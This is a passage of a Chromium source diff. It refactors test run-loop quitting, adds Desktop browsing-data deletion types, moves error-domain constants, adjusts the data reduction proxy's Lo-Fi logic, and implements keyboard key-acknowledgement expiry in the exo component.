-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 // static
 void MockAuthStatusConsumer::OnGuestSuccessQuit() {
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 // static
 void MockAuthStatusConsumer::OnGuestSuccessQuitAndFail() {
   ADD_FAILURE() << "Guest login should have failed!";
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 // static
 void MockAuthStatusConsumer::OnSuccessQuit(const UserContext& user_context) {
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 // static
 void MockAuthStatusConsumer::OnSuccessQuitAndFail(
     const UserContext& user_context) {
   ADD_FAILURE() << "Login should NOT have succeeded!";
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 // static
 void MockAuthStatusConsumer::OnFailQuit(const AuthFailure& error) {
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 // static
 void MockAuthStatusConsumer::OnFailQuitAndFail(const AuthFailure& error) {
   ADD_FAILURE() << "Login should not have failed!";
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 // static
 void MockAuthStatusConsumer::OnMigrateQuit() {
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 // static
 void MockAuthStatusConsumer::OnMigrateQuitAndFail() {
   ADD_FAILURE() << "Should not have detected a PW change!";
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 }  // namespace chromeos
diff --git a/chromeos/login/auth/mock_url_fetchers.cc b/chromeos/login/auth/mock_url_fetchers.cc
index 39a90cf..9bc04c9 100644
--- a/chromeos/login/auth/mock_url_fetchers.cc
+++ b/chromeos/login/auth/mock_url_fetchers.cc
@@ -8,6 +8,7 @@
 
 #include "base/bind.h"
 #include "base/location.h"
+#include "base/run_loop.h"
 #include "base/single_thread_task_runner.h"
 #include "base/strings/stringprintf.h"
 #include "base/threading/thread_task_runner_handle.h"
@@ -42,7 +43,7 @@
   ADD_FAILURE() << "Fetch completed in ExpectCanceledFetcher!";
 
   // Allow exiting even if we mess up.
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 GotCanceledFetcher::GotCanceledFetcher(
diff --git a/components/BUILD.gn b/components/BUILD.gn
index 9da2ea9..f7bd455 100644
--- a/components/BUILD.gn
+++ b/components/BUILD.gn
@@ -81,7 +81,7 @@
     "//components/download:unit_tests",
     "//components/favicon/core:unit_tests",
     "//components/favicon_base:unit_tests",
-    "//components/feature_engagement_tracker:unit_tests",
+    "//components/feature_engagement:unit_tests",
     "//components/flags_ui:unit_tests",
     "//components/gcm_driver:unit_tests",
     "//components/gcm_driver/crypto:unit_tests",
diff --git a/components/autofill/content/browser/risk/fingerprint_browsertest.cc b/components/autofill/content/browser/risk/fingerprint_browsertest.cc
index 302599f..3f747d98 100644
--- a/components/autofill/content/browser/risk/fingerprint_browsertest.cc
+++ b/components/autofill/content/browser/risk/fingerprint_browsertest.cc
@@ -74,7 +74,8 @@
         available_screen_bounds_(0, 11, 101, 60),
         unavailable_screen_bounds_(0, 0, 101, 11) {}
 
-  void GetFingerprintTestCallback(std::unique_ptr<Fingerprint> fingerprint) {
+  void GetFingerprintTestCallback(base::OnceClosure continuation_callback,
+                                  std::unique_ptr<Fingerprint> fingerprint) {
     // Verify that all fields Chrome can fill have been filled.
     ASSERT_TRUE(fingerprint->has_machine_characteristics());
     const Fingerprint::MachineCharacteristics& machine =
@@ -167,7 +168,7 @@
     EXPECT_EQ(kAccuracy, location.accuracy());
     EXPECT_EQ(kGeolocationTime, location.time_in_ms());
 
-    message_loop_.QuitWhenIdle();
+    std::move(continuation_callback).Run();
   }
 
  protected:
@@ -203,16 +204,17 @@
   screen_info.rect = screen_bounds_;
   screen_info.available_rect = available_screen_bounds_;
 
+  base::RunLoop run_loop;
   internal::GetFingerprintInternal(
       kObfuscatedGaiaId, window_bounds_, content_bounds_, screen_info,
       "25.0.0.123", kCharset, kAcceptLanguages, base::Time::Now(), kLocale,
       kUserAgent,
       base::TimeDelta::FromDays(1),  // Ought to be longer than any test run.
       base::Bind(&AutofillRiskFingerprintTest::GetFingerprintTestCallback,
-                 base::Unretained(this)));
+                 base::Unretained(this), run_loop.QuitWhenIdleClosure()));
 
   // Wait for the callback to be called.
-  base::RunLoop().Run();
+  run_loop.Run();
 }
 
 }  // namespace risk
diff --git a/components/autofill/core/browser/personal_data_manager_unittest.cc b/components/autofill/core/browser/personal_data_manager_unittest.cc
index 94e5945..9c4e00c 100644
--- a/components/autofill/core/browser/personal_data_manager_unittest.cc
+++ b/components/autofill/core/browser/personal_data_manager_unittest.cc
@@ -73,7 +73,7 @@
 const base::Time kMuchLaterTime = base::Time::FromDoubleT(5000);
 
 ACTION(QuitMainMessageLoop) {
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 class PersonalDataLoadedObserverMock : public PersonalDataManagerObserver {
diff --git a/components/autofill/core/browser/webdata/web_data_service_unittest.cc b/components/autofill/core/browser/webdata/web_data_service_unittest.cc
index 2d1874e..6b5d051 100644
--- a/components/autofill/core/browser/webdata/web_data_service_unittest.cc
+++ b/components/autofill/core/browser/webdata/web_data_service_unittest.cc
@@ -12,7 +12,6 @@
 #include "base/macros.h"
 #include "base/memory/ptr_util.h"
 #include "base/memory/ref_counted.h"
-#include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
 #include "base/single_thread_task_runner.h"
 #include "base/strings/string16.h"
@@ -61,7 +60,7 @@
     handle_ = handle;
     result_ = std::move(static_cast<WDResult<T>*>(result.get())->GetValue());
 
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   WebDataServiceBase::Handle handle() { return handle_; }
diff --git a/components/browser_sync/profile_sync_service_typed_url_unittest.cc b/components/browser_sync/profile_sync_service_typed_url_unittest.cc
index 50906f1..0366d62 100644
--- a/components/browser_sync/profile_sync_service_typed_url_unittest.cc
+++ b/components/browser_sync/profile_sync_service_typed_url_unittest.cc
@@ -17,7 +17,6 @@
 #include "base/macros.h"
 #include "base/memory/ptr_util.h"
 #include "base/memory/ref_counted.h"
-#include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
 #include "base/single_thread_task_runner.h"
 #include "base/strings/string16.h"
@@ -308,9 +307,7 @@
 
   void SendNotification(const base::Closure& task) {
     data_type_thread()->task_runner()->PostTaskAndReply(
-        FROM_HERE, task,
-        base::Bind(&base::MessageLoop::QuitNow,
-                   base::Unretained(base::MessageLoop::current())));
+        FROM_HERE, task, base::Bind(&base::RunLoop::QuitCurrentDeprecated));
     base::RunLoop().Run();
   }
 
diff --git a/components/browser_sync/test_profile_sync_service.cc b/components/browser_sync/test_profile_sync_service.cc
index 9eab474..5d88d3a 100644
--- a/components/browser_sync/test_profile_sync_service.cc
+++ b/components/browser_sync/test_profile_sync_service.cc
@@ -6,7 +6,7 @@
 
 #include <utility>
 
-#include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 
 namespace browser_sync {
 
@@ -28,7 +28,7 @@
 void TestProfileSyncService::OnConfigureDone(
     const syncer::DataTypeManager::ConfigureResult& result) {
   ProfileSyncService::OnConfigureDone(result);
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 syncer::UserShare* TestProfileSyncService::GetUserShare() const {
diff --git a/components/browsing_data/core/browsing_data_utils.cc b/components/browsing_data/core/browsing_data_utils.cc
index 5e04932..973d2e4 100644
--- a/components/browsing_data/core/browsing_data_utils.cc
+++ b/components/browsing_data/core/browsing_data_utils.cc
@@ -4,6 +4,7 @@
 
 #include "components/browsing_data/core/browsing_data_utils.h"
 
+#include "base/macros.h"
 #include "base/metrics/histogram_macros.h"
 #include "base/metrics/user_metrics.h"
 #include "components/browsing_data/core/counters/autofill_counter.h"
@@ -231,8 +232,16 @@
       case BrowsingDataType::COOKIES:
         *out_pref = prefs::kDeleteCookiesBasic;
         return true;
-      default:
-        // This is not a valid type for the basic tab.
+      case BrowsingDataType::PASSWORDS:
+      case BrowsingDataType::FORM_DATA:
+      case BrowsingDataType::BOOKMARKS:
+      case BrowsingDataType::SITE_SETTINGS:
+      case BrowsingDataType::DOWNLOADS:
+      case BrowsingDataType::MEDIA_LICENSES:
+      case BrowsingDataType::HOSTED_APPS_DATA:
+        return false;  // No corresponding preference on basic tab.
+      case BrowsingDataType::NUM_TYPES:
+        // This is not an actual type.
         NOTREACHED();
         return false;
     }
@@ -255,20 +264,56 @@
       return true;
     case BrowsingDataType::BOOKMARKS:
       // Bookmarks are deleted on the Android side. No corresponding deletion
-      // preference.
+      // preference. Not implemented on Desktop.
       return false;
     case BrowsingDataType::SITE_SETTINGS:
       *out_pref = prefs::kDeleteSiteSettings;
       return true;
+    case BrowsingDataType::DOWNLOADS:
+      *out_pref = prefs::kDeleteDownloadHistory;
+      return true;
+    case BrowsingDataType::MEDIA_LICENSES:
+      *out_pref = prefs::kDeleteMediaLicenses;
+      return true;
+    case BrowsingDataType::HOSTED_APPS_DATA:
+      *out_pref = prefs::kDeleteHostedAppsData;
+      return true;
     case BrowsingDataType::NUM_TYPES:
-      // This is not an actual type.
-      NOTREACHED();
+      NOTREACHED();  // This is not an actual type.
       return false;
   }
   NOTREACHED();
   return false;
 }
 
+BrowsingDataType GetDataTypeFromDeletionPreference(
+    const std::string& pref_name) {
+  using DataTypeMap = base::flat_map<std::string, BrowsingDataType>;
+  CR_DEFINE_STATIC_LOCAL(
+      DataTypeMap, preference_to_datatype,
+      (
+          {
+              {prefs::kDeleteBrowsingHistory, BrowsingDataType::HISTORY},
+              {prefs::kDeleteBrowsingHistoryBasic, BrowsingDataType::HISTORY},
+              {prefs::kDeleteCache, BrowsingDataType::CACHE},
+              {prefs::kDeleteCacheBasic, BrowsingDataType::CACHE},
+              {prefs::kDeleteCookies, BrowsingDataType::COOKIES},
+              {prefs::kDeleteCookiesBasic, BrowsingDataType::COOKIES},
+              {prefs::kDeletePasswords, BrowsingDataType::PASSWORDS},
+              {prefs::kDeleteFormData, BrowsingDataType::FORM_DATA},
+              {prefs::kDeleteSiteSettings, BrowsingDataType::SITE_SETTINGS},
+              {prefs::kDeleteDownloadHistory, BrowsingDataType::DOWNLOADS},
+              {prefs::kDeleteMediaLicenses, BrowsingDataType::MEDIA_LICENSES},
+              {prefs::kDeleteHostedAppsData,
+               BrowsingDataType::HOSTED_APPS_DATA},
+          },
+          base::KEEP_FIRST_OF_DUPES));
+
+  auto iter = preference_to_datatype.find(pref_name);
+  DCHECK(iter != preference_to_datatype.end());
+  return iter->second;
+}
+
 void MigratePreferencesToBasic(PrefService* prefs) {
   if (!prefs->GetBoolean(prefs::kPreferencesMigratedToBasic)) {
     prefs->SetBoolean(prefs::kDeleteBrowsingHistoryBasic,
diff --git a/components/browsing_data/core/browsing_data_utils.h b/components/browsing_data/core/browsing_data_utils.h
index d97e68cd..dff3ccd7 100644
--- a/components/browsing_data/core/browsing_data_utils.h
+++ b/components/browsing_data/core/browsing_data_utils.h
@@ -7,14 +7,13 @@
 
 #include "base/strings/string16.h"
 #include "base/time/time.h"
+#include "build/build_config.h"
 #include "components/browsing_data/core/clear_browsing_data_tab.h"
 #include "components/browsing_data/core/counters/browsing_data_counter.h"
 
 namespace browsing_data {
 
-// Browsing data types as seen in the Android UI.
-// TODO(msramek): Reuse this enum as the canonical representation of the
-// user-facing browsing data types in the Desktop UI as well.
+// Browsing data types as seen in the Android and Desktop UI.
 //
 // A Java counterpart will be generated for this enum.
 // GENERATED_JAVA_ENUM_PACKAGE: org.chromium.chrome.browser.browsing_data
@@ -24,8 +23,13 @@
   COOKIES,
   PASSWORDS,
   FORM_DATA,
+  // Only for Android:
   BOOKMARKS,
   SITE_SETTINGS,
+  // Only for Desktop:
+  DOWNLOADS,
+  MEDIA_LICENSES,
+  HOSTED_APPS_DATA,
   NUM_TYPES
 };
 
@@ -71,6 +75,9 @@
     ClearBrowsingDataTab clear_browsing_data_tab,
     std::string* out_pref);
 
+BrowsingDataType GetDataTypeFromDeletionPreference(
+    const std::string& pref_name);
+
 // Copies the deletion preferences for timeperiod, cache, history and cookies
 // to a separate preferences that are used to on the basic CBD tab.
 // This only happens the first time this method is called.
diff --git a/components/component_updater/component_updater_service_unittest.cc b/components/component_updater/component_updater_service_unittest.cc
index 5e033c0..2d885ca 100644
--- a/components/component_updater/component_updater_service_unittest.cc
+++ b/components/component_updater/component_updater_service_unittest.cc
@@ -16,7 +16,6 @@
 #include "base/macros.h"
 #include "base/memory/ptr_util.h"
 #include "base/memory/ref_counted.h"
-#include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
 #include "base/task_scheduler/post_task.h"
 #include "base/test/histogram_tester.h"
@@ -305,7 +304,7 @@
     }
 
    private:
-    void Quit() { base::MessageLoop::current()->QuitWhenIdle(); }
+    void Quit() { base::RunLoop::QuitCurrentWhenIdleDeprecated(); }
 
     const int max_cnt_;
   };
diff --git a/components/cronet/android/cronet_url_request_context_adapter.cc b/components/cronet/android/cronet_url_request_context_adapter.cc
index 3936a83..a8361d9 100644
--- a/components/cronet/android/cronet_url_request_context_adapter.cc
+++ b/components/cronet/android/cronet_url_request_context_adapter.cc
@@ -656,7 +656,6 @@
     json_pref_store_ =
         new JsonPrefStore(filepath, GetFileThread()->task_runner(),
                           std::unique_ptr<PrefFilter>());
-    context_builder.SetCacheThreadTaskRunner(GetFileThread()->task_runner());
 
     // Register prefs and set up the PrefService.
     PrefServiceFactory factory;
diff --git a/components/data_reduction_proxy/core/browser/data_reduction_proxy_config.cc b/components/data_reduction_proxy/core/browser/data_reduction_proxy_config.cc
index b55c1a9..3eecc9f 100644
--- a/components/data_reduction_proxy/core/browser/data_reduction_proxy_config.cc
+++ b/components/data_reduction_proxy/core/browser/data_reduction_proxy_config.cc
@@ -1081,7 +1081,8 @@
   // For the transition to server-driven previews decisions, we will
   // use existing Lo-Fi flags for disabling and cellular-only mode.
   // TODO(dougarnett): Refactor flag names as part of bug 725645.
-  if (params::IsLoFiDisabledViaFlags() || lofi_off()) {
+  if (params::IsLoFiDisabledViaFlags() ||
+      (!params::IsBlackListEnabledForServerPreviews() && lofi_off())) {
     UMA_HISTOGRAM_ENUMERATION(
         "DataReductionProxy.Protocol.NotAcceptingTransform",
         NOT_ACCEPTING_TRANSFORM_DISABLED,
diff --git a/components/data_reduction_proxy/core/browser/data_reduction_proxy_config_unittest.cc b/components/data_reduction_proxy/core/browser/data_reduction_proxy_config_unittest.cc
index 96a7f24..002c60e1 100644
--- a/components/data_reduction_proxy/core/browser/data_reduction_proxy_config_unittest.cc
+++ b/components/data_reduction_proxy/core/browser/data_reduction_proxy_config_unittest.cc
@@ -1626,6 +1626,12 @@
       switches::kDataReductionProxyLoFiValueAlwaysOn);
   EXPECT_TRUE(config()->ShouldAcceptServerPreview(*request.get(),
                                                   *previews_decider.get()));
+
+  // DataReductionProxyPreviewsBlackListTransition should not be affected by
+  // lofi being off by the prefs rules.
+  config()->SetLoFiModeOff();
+  EXPECT_TRUE(config()->ShouldAcceptServerPreview(*request.get(),
+                                                  *previews_decider.get()));
 }
 
 }  // namespace data_reduction_proxy
diff --git a/components/data_reduction_proxy/core/browser/data_reduction_proxy_network_delegate.cc b/components/data_reduction_proxy/core/browser/data_reduction_proxy_network_delegate.cc
index 088bcc2..ca8d3b05 100644
--- a/components/data_reduction_proxy/core/browser/data_reduction_proxy_network_delegate.cc
+++ b/components/data_reduction_proxy/core/browser/data_reduction_proxy_network_delegate.cc
@@ -336,7 +336,10 @@
   if (data_reduction_proxy_io_data_->lofi_decider()) {
     data_reduction_proxy_io_data_->lofi_decider()
         ->MaybeSetAcceptTransformHeader(
-            *request, data_reduction_proxy_config_->lofi_off(), headers);
+            *request,
+            !params::IsBlackListEnabledForServerPreviews() &&
+                data_reduction_proxy_config_->lofi_off(),
+            headers);
   }
 
   MaybeAddChromeProxyECTHeader(headers, *request);
diff --git a/components/error_page/common/localized_error.cc b/components/error_page/common/localized_error.cc
index e0ac6f3..0accf79 100644
--- a/components/error_page/common/localized_error.cc
+++ b/components/error_page/common/localized_error.cc
@@ -450,7 +450,7 @@
     return FindErrorMapInArray(net_error_options,
                                arraysize(net_error_options),
                                error_code);
-  } else if (error_domain == LocalizedError::kHttpErrorDomain) {
+  } else if (error_domain == kHttpErrorDomain) {
     return FindErrorMapInArray(http_error_options,
                                arraysize(http_error_options),
                                error_code);
@@ -847,8 +847,6 @@
 
 }  // namespace
 
-const char LocalizedError::kHttpErrorDomain[] = "http";
-
 void LocalizedError::GetStrings(
     int error_code,
     const std::string& error_domain,
@@ -882,8 +880,7 @@
   // ERR_ACCESS_DENIED to the map isn't sufficient, since that message may be
   // generated by some OSs when the operation doesn't involve a file URL.
   if (error_domain == net::kErrorDomain &&
-      error_code == net::ERR_ACCESS_DENIED &&
-      failed_url.scheme() == "file") {
+      error_code == net::ERR_ACCESS_DENIED && failed_url.scheme() == "file") {
     options.heading_resource_id = IDS_ERRORPAGES_HEADING_FILE_ACCESS_DENIED;
     options.summary_resource_id = IDS_ERRORPAGES_SUMMARY_FILE_ACCESS_DENIED;
     options.suggestions = SUGGEST_NONE;
@@ -951,7 +948,7 @@
         error_page::DnsProbeStatusToString(error_code);
     error_string = base::ASCIIToUTF16(ascii_error_string);
   } else {
-    DCHECK_EQ(LocalizedError::kHttpErrorDomain, error_domain);
+    DCHECK_EQ(kHttpErrorDomain, error_domain);
     error_string = base::ASCIIToUTF16(HttpErrorCodeToString(error_code));
   }
   error_strings->SetString("errorCode", error_string);
diff --git a/components/error_page/common/localized_error.h b/components/error_page/common/localized_error.h
index 0097717..0126397 100644
--- a/components/error_page/common/localized_error.h
+++ b/components/error_page/common/localized_error.h
@@ -43,8 +43,6 @@
   // Returns true if an error page exists for the specified parameters.
   static bool HasStrings(const std::string& error_domain, int error_code);
 
-  static const char kHttpErrorDomain[];
-
  private:
 
   DISALLOW_IMPLICIT_CONSTRUCTORS(LocalizedError);
diff --git a/components/error_page/common/net_error_info.cc b/components/error_page/common/net_error_info.cc
index 1ac7264..48332cdb 100644
--- a/components/error_page/common/net_error_info.cc
+++ b/components/error_page/common/net_error_info.cc
@@ -10,6 +10,8 @@
 namespace error_page {
 
 const char kDnsProbeErrorDomain[] = "dnsprobe";
+const char kHttpErrorDomain[] = "http";
+const char kUnknownErrorDomain[] = "unknown";
 
 const char* DnsProbeStatusToString(int status) {
   switch (status) {
diff --git a/components/error_page/common/net_error_info.h b/components/error_page/common/net_error_info.h
index a9d8426..5c6c0b73 100644
--- a/components/error_page/common/net_error_info.h
+++ b/components/error_page/common/net_error_info.h
@@ -112,9 +112,13 @@
 // Record specific error page events.
 void RecordEvent(NetworkErrorPageEvent event);
 
-// The error domain used to pass DNS probe statuses to the localized error
-// code.
+// For dns probe errors.
 extern const char kDnsProbeErrorDomain[];
+// For http errors.
+extern const char kHttpErrorDomain[];
+// Use net::kErroDomain for network errors.
+// For other errors.
+extern const char kUnknownErrorDomain[];
 
 }  // namespace error_page
 
diff --git a/components/exo/buffer.cc b/components/exo/buffer.cc
index 8b574a5..86cfebd 100644
--- a/components/exo/buffer.cc
+++ b/components/exo/buffer.cc
@@ -21,10 +21,10 @@
 #include "base/time/time.h"
 #include "base/trace_event/trace_event.h"
 #include "base/trace_event/trace_event_argument.h"
-#include "cc/resources/single_release_callback.h"
 #include "components/exo/layer_tree_frame_sink_holder.h"
 #include "components/viz/common/gpu/context_provider.h"
 #include "components/viz/common/quads/resource_format.h"
+#include "components/viz/common/quads/single_release_callback.h"
 #include "components/viz/common/quads/texture_mailbox.h"
 #include "gpu/command_buffer/client/context_support.h"
 #include "gpu/command_buffer/client/gles2_interface.h"
diff --git a/components/exo/buffer_unittest.cc b/components/exo/buffer_unittest.cc
index be934522b..b2e84d4 100644
--- a/components/exo/buffer_unittest.cc
+++ b/components/exo/buffer_unittest.cc
@@ -5,12 +5,12 @@
 #include <GLES2/gl2extchromium.h>
 
 #include "base/bind.h"
-#include "cc/resources/single_release_callback.h"
 #include "components/exo/buffer.h"
 #include "components/exo/surface.h"
 #include "components/exo/test/exo_test_base.h"
 #include "components/exo/test/exo_test_helper.h"
 #include "components/viz/common/gpu/context_provider.h"
+#include "components/viz/common/quads/single_release_callback.h"
 #include "gpu/command_buffer/client/gles2_interface.h"
 #include "testing/gtest/include/gtest/gtest.h"
 #include "third_party/khronos/GLES2/gl2.h"
diff --git a/components/exo/keyboard.cc b/components/exo/keyboard.cc
index 4bc64d3b..94fd72f 100644
--- a/components/exo/keyboard.cc
+++ b/components/exo/keyboard.cc
@@ -4,6 +4,7 @@
 
 #include "components/exo/keyboard.h"
 
+#include "base/threading/thread_task_runner_handle.h"
 #include "components/exo/keyboard_delegate.h"
 #include "components/exo/keyboard_device_configuration_delegate.h"
 #include "components/exo/shell_surface.h"
@@ -20,12 +21,24 @@
 namespace exo {
 namespace {
 
+// Delay until a key state change expected to be acknowledged is expired.
+const int kExpirationDelayForPendingKeyAcksMs = 1000;
+
+bool ProcessAccelerator(Surface* surface, const ui::KeyEvent* event) {
+  views::Widget* widget =
+      views::Widget::GetTopLevelWidgetForNativeView(surface->window());
+  if (widget) {
+    views::FocusManager* focus_manager = widget->GetFocusManager();
+    return focus_manager->ProcessAccelerator(ui::Accelerator(*event));
+  }
+  return false;
+}
+
 bool ConsumedByIme(Surface* focus, const ui::KeyEvent* event) {
   // Check if IME consumed the event, to avoid it to be doubly processed.
   // First let us see whether IME is active and is in text input mode.
   views::Widget* widget =
-      focus ? views::Widget::GetTopLevelWidgetForNativeView(focus->window())
-            : nullptr;
+      views::Widget::GetTopLevelWidgetForNativeView(focus->window());
   ui::InputMethod* ime = widget ? widget->GetInputMethod() : nullptr;
   if (!ime || ime->GetTextInputType() == ui::TEXT_INPUT_TYPE_NONE)
     return false;
@@ -92,7 +105,11 @@
 ////////////////////////////////////////////////////////////////////////////////
 // Keyboard, public:
 
-Keyboard::Keyboard(KeyboardDelegate* delegate) : delegate_(delegate) {
+Keyboard::Keyboard(KeyboardDelegate* delegate)
+    : delegate_(delegate),
+      expiration_delay_for_pending_key_acks_(base::TimeDelta::FromMilliseconds(
+          kExpirationDelayForPendingKeyAcksMs)),
+      weak_ptr_factory_(this) {
   auto* helper = WMHelper::GetInstance();
   helper->AddPostTargetHandler(this);
   helper->AddFocusObserver(this);
@@ -136,21 +153,36 @@
 }
 
 void Keyboard::SetNeedKeyboardKeyAcks(bool need_acks) {
-  are_keyboard_key_acks_needed = need_acks;
+  are_keyboard_key_acks_needed_ = need_acks;
 }
 
 bool Keyboard::AreKeyboardKeyAcksNeeded() const {
-  return are_keyboard_key_acks_needed;
+  return are_keyboard_key_acks_needed_;
 }
 
 void Keyboard::AckKeyboardKey(uint32_t serial, bool handled) {
-  // TODO(yhanada): Implement this method. See http://b/28104183.
+  auto it = pending_key_acks_.find(serial);
+  if (it == pending_key_acks_.end())
+    return;
+
+  if (!handled && focus_)
+    ProcessAccelerator(focus_, &it->second.first);
+  pending_key_acks_.erase(serial);
 }
 
 ////////////////////////////////////////////////////////////////////////////////
 // ui::EventHandler overrides:
 
 void Keyboard::OnKeyEvent(ui::KeyEvent* event) {
+  // Pass accelerators to ShellSurfaceWidget before passing it to the delegate
+  // if ack key event is not needed.
+  if (!are_keyboard_key_acks_needed_) {
+    if (focus_ && ProcessAccelerator(focus_, event)) {
+      event->StopPropagation();
+      return;
+    }
+  }
+
   // These modifiers reflect what Wayland is aware of.  For example,
   // EF_SCROLL_LOCK_ON is missing because Wayland doesn't support scroll lock.
   const int kModifierMask = ui::EF_SHIFT_DOWN | ui::EF_CONTROL_DOWN |
@@ -167,15 +199,23 @@
   // When IME ate a key event, we use the event only for tracking key states and
   // ignore for further processing. Otherwise it is handled in two places (IME
   // and client) and causes undesired behavior.
-  bool consumed_by_ime = ConsumedByIme(focus_, event);
+  bool consumed_by_ime = focus_ ? ConsumedByIme(focus_, event) : false;
 
   switch (event->type()) {
     case ui::ET_KEY_PRESSED: {
       auto it =
           std::find(pressed_keys_.begin(), pressed_keys_.end(), event->code());
       if (it == pressed_keys_.end()) {
-        if (focus_ && !consumed_by_ime)
-          delegate_->OnKeyboardKey(event->time_stamp(), event->code(), true);
+        if (focus_ && !consumed_by_ime) {
+          uint32_t serial = delegate_->OnKeyboardKey(event->time_stamp(),
+                                                     event->code(), true);
+          if (are_keyboard_key_acks_needed_) {
+            pending_key_acks_.insert(
+                {serial,
+                 {*event, base::TimeTicks::Now() +
+                              expiration_delay_for_pending_key_acks_}});
+          }
+        }
 
         pressed_keys_.push_back(event->code());
       }
@@ -184,8 +224,16 @@
       auto it =
           std::find(pressed_keys_.begin(), pressed_keys_.end(), event->code());
       if (it != pressed_keys_.end()) {
-        if (focus_ && !consumed_by_ime)
-          delegate_->OnKeyboardKey(event->time_stamp(), event->code(), false);
+        if (focus_ && !consumed_by_ime) {
+          uint32_t serial = delegate_->OnKeyboardKey(event->time_stamp(),
+                                                     event->code(), false);
+          if (are_keyboard_key_acks_needed_) {
+            pending_key_acks_.insert(
+                {serial,
+                 {*event, base::TimeTicks::Now() +
+                              expiration_delay_for_pending_key_acks_}});
+          }
+        }
 
         pressed_keys_.erase(it);
       }
@@ -194,6 +242,13 @@
       NOTREACHED();
       break;
   }
+
+  if (pending_key_acks_.empty())
+    return;
+  if (process_expired_pending_key_acks_pending_)
+    return;
+
+  ScheduleProcessExpiredPendingKeyAcks(expiration_delay_for_pending_key_acks_);
 }
 
 ////////////////////////////////////////////////////////////////////////////////
@@ -208,6 +263,7 @@
       delegate_->OnKeyboardLeave(focus_);
       focus_->RemoveSurfaceObserver(this);
       focus_ = nullptr;
+      pending_key_acks_.clear();
     }
     if (gained_focus_surface) {
       delegate_->OnKeyboardModifiers(modifier_flags_);
@@ -267,4 +323,42 @@
                                                                       : nullptr;
 }
 
+void Keyboard::ProcessExpiredPendingKeyAcks() {
+  DCHECK(process_expired_pending_key_acks_pending_);
+  process_expired_pending_key_acks_pending_ = false;
+
+  // Check pending acks and process them as if it's not handled if
+  // expiration time passed.
+  base::TimeTicks current_time = base::TimeTicks::Now();
+  auto it = pending_key_acks_.begin();
+  while (it != pending_key_acks_.end()) {
+    const ui::KeyEvent& event = it->second.first;
+
+    if (it->second.second > current_time)
+      break;
+
+    if (focus_)
+      ProcessAccelerator(focus_, &event);
+    it = pending_key_acks_.erase(it);
+  }
+
+  if (pending_key_acks_.empty())
+    return;
+
+  base::TimeDelta delay_until_next_process_expired_pending_key_acks =
+      pending_key_acks_.begin()->second.second - current_time;
+  ScheduleProcessExpiredPendingKeyAcks(
+      delay_until_next_process_expired_pending_key_acks);
+}
+
+void Keyboard::ScheduleProcessExpiredPendingKeyAcks(base::TimeDelta delay) {
+  DCHECK(!process_expired_pending_key_acks_pending_);
+  process_expired_pending_key_acks_pending_ = true;
+  base::ThreadTaskRunnerHandle::Get()->PostDelayedTask(
+      FROM_HERE,
+      base::BindOnce(&Keyboard::ProcessExpiredPendingKeyAcks,
+                     weak_ptr_factory_.GetWeakPtr()),
+      delay);
+}
+
 }  // namespace exo
diff --git a/components/exo/keyboard.h b/components/exo/keyboard.h
index 6f20f03e..8b9d95b 100644
--- a/components/exo/keyboard.h
+++ b/components/exo/keyboard.h
@@ -7,10 +7,12 @@
 
 #include <vector>
 
+#include "base/containers/flat_map.h"
 #include "base/macros.h"
 #include "components/exo/keyboard_observer.h"
 #include "components/exo/surface_observer.h"
 #include "components/exo/wm_helper.h"
+#include "ui/events/event.h"
 #include "ui/events/event_handler.h"
 
 namespace ui {
@@ -70,6 +72,13 @@
   // Returns the effective focus for |window|.
   Surface* GetEffectiveFocus(aura::Window* window) const;
 
+  // Processes expired key state changes in |pending_key_acks_| as they have not
+  // been acknowledged.
+  void ProcessExpiredPendingKeyAcks();
+
+  // Schedule next call of ProcessExpiredPendingKeyAcks after |delay|
+  void ScheduleProcessExpiredPendingKeyAcks(base::TimeDelta delay);
+
   // The delegate instance that all events except for events about device
   // configuration are dispatched to.
   KeyboardDelegate* const delegate_;
@@ -78,7 +87,8 @@
   // to.
   KeyboardDeviceConfigurationDelegate* device_configuration_delegate_ = nullptr;
 
-  bool are_keyboard_key_acks_needed = false;
+  // Indicates that each key event is expected to be acknowledged.
+  bool are_keyboard_key_acks_needed_ = false;
 
   // The current focus surface for the keyboard.
   Surface* focus_ = nullptr;
@@ -89,8 +99,20 @@
   // Current set of modifier flags.
   int modifier_flags_ = 0;
 
+  // Key state changes that are expected to be acknowledged.
+  using KeyStateChange = std::pair<ui::KeyEvent, base::TimeTicks>;
+  base::flat_map<uint32_t, KeyStateChange> pending_key_acks_;
+
+  // Indicates that a ProcessExpiredPendingKeyAcks call is pending.
+  bool process_expired_pending_key_acks_pending_ = false;
+
+  // Delay until a key state change expected to be acknowledged is expired.
+  const base::TimeDelta expiration_delay_for_pending_key_acks_;
+
   base::ObserverList<KeyboardObserver> observer_list_;
 
+  base::WeakPtrFactory<Keyboard> weak_ptr_factory_;
+
   DISALLOW_COPY_AND_ASSIGN(Keyboard);
 };
 
